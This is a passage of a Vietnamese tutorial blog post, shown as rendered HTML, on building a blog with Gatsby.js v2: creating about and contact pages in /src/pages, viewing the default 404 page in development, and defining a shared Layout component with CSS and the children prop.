keyword">import</span> React <span class="token keyword">from</span> <span class="token string">"react"</span><span class="token punctuation">;</span> <span class="token keyword">export</span> <span class="token keyword">default</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span><span class="token punctuation">></span></span><span class="token plain-text">Hello Gatsby!</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span><span class="token punctuation">;</span></code></pre></div> <p>Sau khi nhấn <em>Save</em>, bạn sẽ thấy Gatsby project được build lại (xem ở giao diện dòng lệnh, nơi bạn chạy lệnh <code>gatsby develop</code> trước đó) và trình duyệt tự động reload.</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 605px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 76.96969696969698%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAIAAABr+ngCAAAACXBIWXMAAAsTAAALEwEAmpwYAAABTUlEQVQoz2OwtLSMi4tLTEhMSkh0c3O1t7d3dHS0twMBc3NzZmZmLi4uTk5ODjDg5AQhQUFBCQkJERERBl1dXUMjI11dXR8fn7Xr1m/asnXdho2btmzds3f/nr371qxdv27DhvUbNm7ctHnDxk1r121Yt35jYFCQnJyskpISg6y4uLy0tKycnJqaWmhYeFxseFJiVGxcQlJiUlx8Ym5OcnZ2ekpaemRkZGRUdE5WUlZWmqGRkbS0lIiIMENDbc3MadOmTps6e9asCRMmTpnUN3PG5ClTpk6ZPHnixEnTpvRNmTxhwsSJ7e1tnZ1d0yb3Tp0yYe7cucuWLZs/by7DjZs3f//5+/Xr1z9///wnETDcuXPn//////79+/v37x8SAVTz379//5MOEDaPaiZO8+3btyGh/Y90wHD37l3ybT516tSbN2+eP3/+gnQAANjl45/0ieATAAAAAElFTkSuQmCC'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Gatsby project tự động rebuild rồi reload" title="Gatsby project tự động rebuild rồi reload" src="/static/8ccb150bf8ff2c3e77545ded5e679aeb/21793/gatsby-rebuild-hot-loading.png" srcset="/static/8ccb150bf8ff2c3e77545ded5e679aeb/103f2/gatsby-rebuild-hot-loading.png 165w, /static/8ccb150bf8ff2c3e77545ded5e679aeb/748ba/gatsby-rebuild-hot-loading.png 330w, /static/8ccb150bf8ff2c3e77545ded5e679aeb/21793/gatsby-rebuild-hot-loading.png 605w" sizes="(max-width: 605px) 100vw, 605px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Nếu làm được đến đây thì có nghĩa là bạn đã cài đặt môi trường thành công để sử dụng Gatsby. Còn về mặt nội dung thì blog của mình vẫn trống rỗng, chưa có nội dung gì hết. Vì vậy, phần tiếp theo, mình sẽ bắt đầu xây dựng những thành phần cơ bản mà một trang blog cần phải có.</p> <h2 id="những-thành-phần-cơ-bản-của-một-trang-blog" style="position:relative;"><a href="#nh%E1%BB%AFng-th%C3%A0nh-ph%E1%BA%A7n-c%C6%A1-b%E1%BA%A3n-c%E1%BB%A7a-m%E1%BB%99t-trang-blog" aria-label="những thành phần cơ bản của một trang blog permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Những thành phần cơ bản của một trang blog</h2> <h3 id="tạo-trang-giới-thiệu-liên-hệ" style="position:relative;"><a href="#t%E1%BA%A1o-trang-gi%E1%BB%9Bi-thi%E1%BB%87u-li%C3%AAn-h%E1%BB%87" aria-label="tạo trang giới thiệu liên hệ permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tạo trang giới thiệu, liên hệ</h3> <p>Mặc định, Gatsby sẽ lấy các file <em>.js</em> được định nghĩa trong thư mục <em>/src/pages/</em> làm các trang của blog. Trong đó, file <em>/src/pages/index.js</em> sẽ được lấy làm trang chủ.</p> <blockquote> <p><strong>Chú ý</strong>: các file này phải <strong>export default</strong> một <a href="https://reactjs.org/docs/react-component.html">React Component</a> để Gatsby sử dụng. Ngược lại, sẽ bị lỗi.</p> </blockquote> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 605px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 76.96969696969698%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAIAAABr+ngCAAAACXBIWXMAAAsTAAALEwEAmpwYAAACc0lEQVQoz5WRy08TURSHbyILhp0IGkpgQSI7mwgLCYtWXLBihTFajK1THyQV/wfdiNVgCi1GlKILw0pKp8KOyJ4NgSDVILTTUmem82g7M/de2nmZ24KuNPLLl5PvntxzNgcMDg76/QGapoN0cHh4+KrXe21oyOv1eDyegSsDTU1nWlpaKIqimpupZqpu1NnW1o6Ojvb2dnDJ7e7r63e73SMjI0uJRGplNZFkUiura+vra1/WPyWSiSSzzDBM6nOSSS0tM4kkMzp6vbu7u6enB3ReON/lcnV2dV3s7b1x0xcI+IL02B3/3SAd9AfoxxP3HoXG7z8cv+Xz+cZuT4SCodCDy339Lperre0cCD95+vHtuw/z8wtzc1OT4ZmXz+feRGOx2Vg0Oj098zr2KhaNRKYjk5PPwuEXs9Gp2WgkHo8vLi6+X4iDzM6OI0i2JDua7ogKwbad/wv4trtb1WFFVlSlhFTNQLimwxqENR0aEBFvSL1Tg8SPwRh83dxUDgtChpXzhQonVDi+wvGqUFSFIhFe0IqiqWqODu3faLqlahZCIL21rQmimD2UDgt8lhVy+cJBhkg2x2UyPJsXCDk+y3IZls+yZY6vlstGRbUxBrtbW+WfnHCQE9h86Sd/pJS1oqiLElYUKElIUpCsQEmGknwsonyklMyKRoa/b+9YJU3nxKpUrilqVSwhTjZV3cHYQdhByIbIJoKJQNToWDq0MAbpdNo0DAwhggiRChFCuA4iL2iZpmNZtmU1akPIRWwb7O3tOY5jkJgnsQzTJBiEfxwO/KgPWyfLHPtPGge3/x6wv7/f+OGcPmBjY0OSJI7j+NPnF9oM0Z4FKhpUAAAAAElFTkSuQmCC'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Gatsby project compile bị lỗi" title="Gatsby project compile bị lỗi" src="/static/652ba940eadf1bb4c66219181151b1f2/21793/gatsby-compile-failed.png" srcset="/static/652ba940eadf1bb4c66219181151b1f2/103f2/gatsby-compile-failed.png 165w, /static/652ba940eadf1bb4c66219181151b1f2/748ba/gatsby-compile-failed.png 330w, /static/652ba940eadf1bb4c66219181151b1f2/21793/gatsby-compile-failed.png 605w" sizes="(max-width: 605px) 100vw, 605px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Để tạo thêm trang giới thiệu và liên hệ, mình tạo thêm 2 file mới trong thư mục này là <em>gioi-thieu.js</em> và <em>lien-he.js</em>. Với nội dung tương tự như file <em>index.js</em>:</p> <div class="gatsby-code-title gatsby-remark-code-title">/src/pages/gioi-thieu.js</div> <div class="gatsby-highlight" data-language="jsx"><pre class="language-jsx"><code class="language-jsx"><span class="token keyword">import</span> React <span class="token keyword">from</span> <span class="token string">"react"</span><span class="token punctuation">;</span> <span class="token keyword">export</span> <span class="token keyword">default</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span><span class="token punctuation">></span></span><span class="token plain-text">Giới thiệu</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span><span class="token punctuation">;</span></code></pre></div> <div class="gatsby-code-title gatsby-remark-code-title">/src/pages/lien-he.js</div> <div class="gatsby-highlight" data-language="jsx"><pre class="language-jsx"><code class="language-jsx"><span class="token keyword">import</span> React <span class="token keyword">from</span> <span class="token string">"react"</span><span class="token punctuation">;</span> <span class="token keyword">export</span> <span class="token keyword">default</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span><span class="token punctuation">></span></span><span class="token plain-text">Liên hệ</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span><span class="token punctuation">;</span></code></pre></div> <p>Sau khi lưu lại, bạn có thể vào 2 địa chỉ <code>http://localhost:8000/gioi-thieu/</code> và <code>http://localhost:8000/lien-he/</code> sẽ thấy kết quả 2 trang lần lượt là:</p> <p>Kết quả trang giới thiệu:</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 605px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 76.96969696969698%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAIAAABr+ngCAAAACXBIWXMAAAsTAAALEwEAmpwYAAABSUlEQVQoz2OwtLSKj49PTExMSkwKCQ4ODAxwdXW1s7Ozt7e3tLBgYWbm4uLi5OTkAANOEOAQFBSUkJAUERFh0NXTMzQ01NPV9fH1Xb9hw+at29dv3LRx0+ZtO3Zu3b5j9Zp16zZsWr9h44ZNmzds3LR2/YZ1GzYGBgXJyskpKioyyIiLycvIyMrKqqqohoaGx8eFJydFx8QlxMbGRUXH5GYn5WSnp6ZlREZFRUbH5GQnZWelGRkZS0tLi4oIMzQ31M+YOmXmrNkLFi7snzBxyuS+mTMmT50ydeqUKZMnT54+tX/q5AkTJk5sb2/r7OyaOqV36pQJc+fOXbZs2fx58xhu37nz6/fvHz9+/CcdMNy+ffv///9//5ADGO7cuQPS/PcvOTZDNP/7929UM0lR9ffvP9IBw927d8m3+dSpU2/evHn+/PkL0gEAog/kKULK9A4AAAAASUVORK5CYII='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Trang giới thiệu" title="Trang giới thiệu" src="/static/b03c814b062ce114dbcb9077da42d4ac/21793/gatsby-gioi-thieu.png" srcset="/static/b03c814b062ce114dbcb9077da42d4ac/103f2/gatsby-gioi-thieu.png 165w, /static/b03c814b062ce114dbcb9077da42d4ac/748ba/gatsby-gioi-thieu.png 330w, /static/b03c814b062ce114dbcb9077da42d4ac/21793/gatsby-gioi-thieu.png 605w" sizes="(max-width: 605px) 100vw, 605px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Kết quả trang liên hệ:</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 605px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 76.96969696969698%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAIAAABr+ngCAAAACXBIWXMAAAsTAAALEwEAmpwYAAABR0lEQVQoz2OwtLSMj4tPTEhMTEwKCQn29vZydHS0BwMLCwtmZmYuLi5OTg4I4OQEMQUEBSUkJERERBh09fQMjYz09PR8fHzWrd+weeu29Rs3bdy8Zdv2HTt27Vqzbv26DRvXb9iwcdPmDRs3rV2/Yd2GjUFBwXJyckpKSgwyYuLy0tLSMjIqqiqhYeHxseFJiVExsfExsbHRMXF5OcnZWWkpaemRkZGRUTE52UnZWWlGRkZSUlIiIsIMzfX1M6ZOW7hw4YIFC/r7J0yZ1DdzxuQpU6ZOnTpl0qTJ06b0TZk8YcLEie3t7Z2dXVMn906dMmHO3LnLli2bP28uw+3bt3///vPnz5//pAOGW7du/f///zfEABIByOb/////+/ePHJvv3LkzqpkUzZDQ/vv37z/SAcPdu3fJt/nkyVNv3rx5/vz5C9IBAEQY5A3xBtFIAAAAAElFTkSuQmCC'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Trang liên hệ" title="Trang liên hệ" src="/static/bed9442aee6a6cc3d01743d7179d8b5a/21793/gatsby-lien-he.png" srcset="/static/bed9442aee6a6cc3d01743d7179d8b5a/103f2/gatsby-lien-he.png 165w, /static/bed9442aee6a6cc3d01743d7179d8b5a/748ba/gatsby-lien-he.png 330w, /static/bed9442aee6a6cc3d01743d7179d8b5a/21793/gatsby-lien-he.png 605w" sizes="(max-width: 605px) 100vw, 605px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <h4 id="cách-xem-các-trang-đang-tồn-tại-từ-trang-404-mặc-định" style="position:relative;"><a href="#c%C3%A1ch-xem-c%C3%A1c-trang-%C4%91ang-t%E1%BB%93n-t%E1%BA%A1i-t%E1%BB%AB-trang-404-m%E1%BA%B7c-%C4%91%E1%BB%8Bnh" aria-label="cách xem các trang đang tồn tại từ trang 404 mặc định permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cách xem các trang đang tồn tại từ trang 404 mặc định</h4> <p>Ngoài ra, nếu bạn chưa biết chắc trang blog với Gatsby.js hiện tại gồm những trang nào thì bạn có thể vào 1 địa chỉ bất kì, ví dụ <code>http://localhost:8000/abc/</code> (<em>abc</em> là giá trị bất kỳ nhé).</p> <p>Ở chế độ phát triển, khi bạn vào một trang bất kỳ mà trang này không tồn tại thì Gatsby sẽ hiển thị ra một trang <strong>404</strong> mặc định, trong đó sẽ có thông tin về những trang đang tồn tại:</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 605px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 81.21212121212122%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAQCAIAAACZeshMAAAACXBIWXMAAAsTAAALEwEAmpwYAAACoElEQVQoz5WRy08TcRDH98BFbiINaU24IEd6qBfkYAlnPDXRAEIpSiQR+Ds4gGmkYKUUL4QEEiOlrRo1ARL0IGmhrQnQ7WMfv8e++txduq1sa1piQrkon9NkJjPfmfkSfQ/6xsbsDodjwjFhs9kGBgb6+/utD61Wq7W3t7elpaW1tfXWXy7D221tRqPRYDAQPWazxWIxm3sGBx9t+3YCnz5v+wP+QPDL1297+/sffDs+f8DnD/iDH/3B4PZOPbbZbJ2dnV1dXYTJYLjb0WE0mbrvdT9+MjRuH3r+7Ono2Ljdbh93TMzOTE6/nJp8MTU8MjI8Mjo7MzkzPWWx3DeZTO3td4j5ubn3W1ubm5vr6+su1/KKe3HN6/Z4Vlc9Hrf77Yr7tWfljWtp+dXCvNPpXFpcWHI5vV7vxsbGuzUvEYlGWAaQcZLneVGUWAhFUUwlEywLWJaRsrlo7BfPcbwgYoxrzRDhUIhhWIqiaJpm6g0AIRSPn5GJRDKZ4HieomkIwWk8TpKkrusXVyBisaiqqrKsZLLZQiGvqup5Sav9H8RROMQClqKpVDrFMAwALEPTFEULgihJosBzECJRFDHipAaZTAZjLAqiVq4QsVhEUZRMRspIklwsyrKcy2ULxaKqqrperVarV6V0Xa9UKo2Vf+u6Thwe/oQQptJpAADDsMlkGrAAY8yygKLrv4AQ8pijKJrDXKGQFyVJEHhBFDRNI8LhEC8ICGOEEcYYIQwhggAihBCEANQHYVxfHkJULpebbo5GjiuViqIo+XyhVDpXVVVpUCzKiizLiqJpmqIo9bysXG/+8f0gEo0mkymE6jZeO/If3264V71o8q+JaxX9CkQ6ndJKeoKsUXTtBqKXyrt7uycn8YODk6PjUzJ+diP+AKxN/i39AvzWAAAAAElFTkSuQmCC'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Trang 404 mặc định ở chế độ phát triển" title="Trang 404 mặc định ở chế độ phát triển" src="/static/c45dce41da5a5d00bf558557c782836c/21793/gatsby-404-default.png" srcset="/static/c45dce41da5a5d00bf558557c782836c/103f2/gatsby-404-default.png 165w, /static/c45dce41da5a5d00bf558557c782836c/748ba/gatsby-404-default.png 330w, /static/c45dce41da5a5d00bf558557c782836c/21793/gatsby-404-default.png 605w" sizes="(max-width: 605px) 100vw, 605px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Hình trên cho thấy blog của mình đang có 3 trang là:</p> <ul> <li><em>/</em>: trang chủ</li> <li><em>/gioi-thieu/</em>: trang giới thiệu</li> <li><em>/lien-he/</em>: trang liên hệ</li> </ul> <blockquote> <p><strong>Chú ý:</strong> Trang này chỉ tồn tại ở chế độ phát triển, khi deploy ra thực tế, bạn cần phải implement trang này. Hay nói cách khác là bạn phải tạo thêm 1 file <em>404.js</em> trong thư mục <em>/src/pages/</em>. Tạm thời mình chưa quan tâm đến trang này vội.</p> </blockquote> <p>Tóm lại, để tạo thêm một trang bất kì, bạn cần định nghĩa nó trong thư mục <code>/scs/pages/</code>. Trong đó, mỗi trang sẽ là một file <em>.js</em> được <em>export default</em> React Component. Tiếp theo, mình sẽ bất đầu xây dựng layout cho trang blog với Gatsby.js.</p> <h3 id="thiết-kế-layout" style="position:relative;"><a href="#thi%E1%BA%BFt-k%E1%BA%BF-layout" aria-label="thiết kế layout permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Thiết kế layout</h3> <p>Thông thường, một trang blog nào cũng sẽ có các thành phần như: menu (đường dẫn tới các trang), sidebar (chứa danh sách các chuyên mục, thẻ, bài viết mới nhất,...),... Nếu làm theo cách thông thường, nghĩa là mình phải copy-paste code liên quan đến menu, sidebar,... vào các file <em>/src/pages/index.js</em>, <em>/src/pages/gioi-thieu.js</em> và <em>/src/pages/lien-he.js</em>. Như vậy, thật là thừa code và còn khó maintain nếu như mình muốn thay đổi Layout của blog.</p> <p>Nhưng không, với Gatsby v2, bạn có thể định nghĩa Layout dạng React Component. Khi đó bạn chỉ cần định nghĩa Layout ở một nơi và sử dụng nó ở bất kỳ trang nào bạn muốn.</p> <p><em>Xem thêm: <a href="https://www.gatsbyjs.org/docs/migrating-from-v1-to-v2/">Migrating from v1 to v2</a> - nếu trước đây bạn sử dụng Gatsby v1 và cần chuyển sang Gatsby v2</em>.</p> <p>Dĩ nhiên, bạn có thể định nghĩa nhiều loại Layout khác nhau để sử dụng cho các trang khác nhau (vì có thể Layout trang chủ khác với Layout trang giới thiệu, liên hệ). Nhưng để đơn giản, mình sẽ chỉ sử dụng 1 loại Layout chung cho tất cả các trang.</p> <h4 id="tạo-layout-chính" style="position:relative;"><a href="#t%E1%BA%A1o-layout-ch%C3%ADnh" aria-label="tạo layout chính permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tạo layout chính</h4> <p>Để dễ dàng quản lý các Component, mình sẽ tạo mới thư mục <em>components</em> trong thư mục <em>/src</em>. Và trong đó, tạo thêm file <em>layout.js</em> để định nghĩa Layout Component và file <em>layout.css</em> để định nghĩa style cho layout.</p> <div class="gatsby-code-title gatsby-remark-code-title">/src/components/layout.js</div> <div class="gatsby-highlight" data-language="jsx"><pre class="language-jsx"><code class="language-jsx"><span class="token keyword">import</span> React <span class="token keyword">from</span> <span class="token string">"react"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> <span class="token string">"./layout.css"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> Menu <span class="token keyword">from</span> <span class="token string">"./menu"</span><span class="token punctuation">;</span> <span class="token keyword">export</span> <span class="token keyword">default</span> <span class="token punctuation">(</span><span class="token parameter"><span class="token punctuation">{</span> children <span class="token punctuation">}</span></span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token punctuation">(</span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>app<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span><span class="token class-name">Menu</span></span> <span class="token punctuation">/></span></span><span class="token plain-text"> </span><span class="token punctuation">{</span>children<span class="token punctuation">}</span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span></code></pre></div> <div class="gatsby-code-title gatsby-remark-code-title">/src/components/layout.css</div> <div class="gatsby-highlight" data-language="css"><pre class="language-css"><code class="language-css"><span class="token selector">*</span> <span class="token punctuation">{</span> <span class="token property">box-sizing</span><span class="token punctuation">:</span> border-box<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">body</span> <span class="token punctuation">{</span> <span class="token property">padding</span><span class="token punctuation">:</span> 0<span class="token punctuation">;</span> <span class="token property">margin</span><span class="token punctuation">:</span> 0<span class="token punctuation">;</span> <span class="token property">color</span><span class="token punctuation">:</span> #222<span class="token punctuation">;</span> <span class="token property">background-color</span><span class="token punctuation">:</span> #eeeeef<span class="token punctuation">;</span> <span class="token property">font</span><span class="token punctuation">:</span> normal normal normal 1rem/1.6 Nunito Sans<span class="token punctuation">,</span> Helvetica<span class="token punctuation">,</span> Arial<span class="token punctuation">,</span> sans-serif<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.app</span> <span class="token punctuation">{</span> <span class="token property">margin</span><span class="token punctuation">:</span> 0 auto<span class="token punctuation">;</span> <span class="token property">max-width</span><span class="token punctuation">:</span> 992px<span class="token punctuation">;</span> <span class="token property">padding</span><span class="token punctuation">:</span> 1.25rem 1rem<span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p><strong>Có thể bạn đang thắc mắc đối tượng <em>children</em> ở trên là cái gì?</strong></p> <p>Nếu đúng ra, mình cần phải viết code như này thì có thể bạn sẽ dễ hiểu hơn:</p> <div class="gatsby-highlight" data-language="jsx"><pre class="language-jsx"><code class="language-jsx"><span class="token keyword">import</span> React <span class="token keyword">from</span> <span class="token string">"react"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> <span class="token string">"./layout.css"</span><span class="token punctuation">;</span> <span class="token keyword">export</span> <span class="token keyword">default</span> <span class="token punctuation">(</span><span class="token parameter">props</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">const</span> children <span class="token operator">=</span> props<span class="token punctuation">.</span>children<span class="token punctuation">;</span> <span class="token comment">// Hoặc: const { children } = props;</span> <span class="token keyword">return</span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span><span class="token punctuation">></span></span><span class="token punctuation">{</span>children<span class="token punctuation">}</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span></code></pre></div> <p>Thực ra, đối tượng <em>children</em> là mặc định, được truyền vào <em>props</em> khi bạn sử dụng component Layout. Giả sử bạn sử dụng Layout như sau:</p> <div class="gatsby-highlight" data-language="jsx"><pre class="language-jsx"><code class="language-jsx"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span><span class="token class-name">Layout</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span><span class="token punctuation">></span></span><span class="token plain-text">This is children</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span><span class="token class-name">Layout</span></span><span class="token punctuation">></span></span></code></pre></div> <p>Khi đó giá trị <em>children</em> là:</p> <div class="gatsby-highlight" data-language="jsx"><pre class="language-jsx"><code class="language-jsx"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span><span class="token punctuation">></span></span><span class="token plain-text">This is children</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span></code></pre></div> <p>Bây giờ, mình sẽ sử dụng Layout Component trong 3 trang mà mình đã định nghĩa (đồng thời sửa thẻ <em>div</em> thành <em>h1</em> cho nổi bật).</p> <div class="gatsby-code-title gatsby-remark-code-title">/src/pages/index.js</div> <div class="gatsby-highlight" data-language="jsx"><pre class="language-jsx"><code class="language-jsx"><span class="token keyword">import</span> React <span class="token keyword">from</span> <span class="token string">"react"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> Layout <span class="token keyword">from</span> <span class="token string">"../components/layout"</span><span class="token punctuation">;</span> <span class="token keyword">export</span> <span class="token keyword">default</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token punctuation">(</span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span><span class="token class-name">Layout</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>h1</span><span class="token punctuation">></span></span><span class="token plain-text">Hello Gatsby!</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>h1</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span><span class="token class-name">Layout</span></span><span class="token punctuation">></span></span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span></code></pre></div> <div class="gatsby-code-title gatsby-remark-code-title">/src/pages/gioi-thieu.js</div> <div class="gatsby-highlight" data-language="jsx"><pre class="language-jsx"><code class="language-jsx"><span class="token keyword">import</span> React <span class="token keyword">from</span> <span class="token string">"react"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> Layout <span class="token keyword">from</span> <span class="token string">"../components/layout"</span><span class="token punctuation">;</span> <span class="token keyword">export</span> <span class="token keyword">default</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token punctuation">(</span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span><span class="token class-name">Layout</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>h1</span><span class="token punctuation">></span></span><span class="token plain-text">Giới thiệu</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>h1</span><span class="token 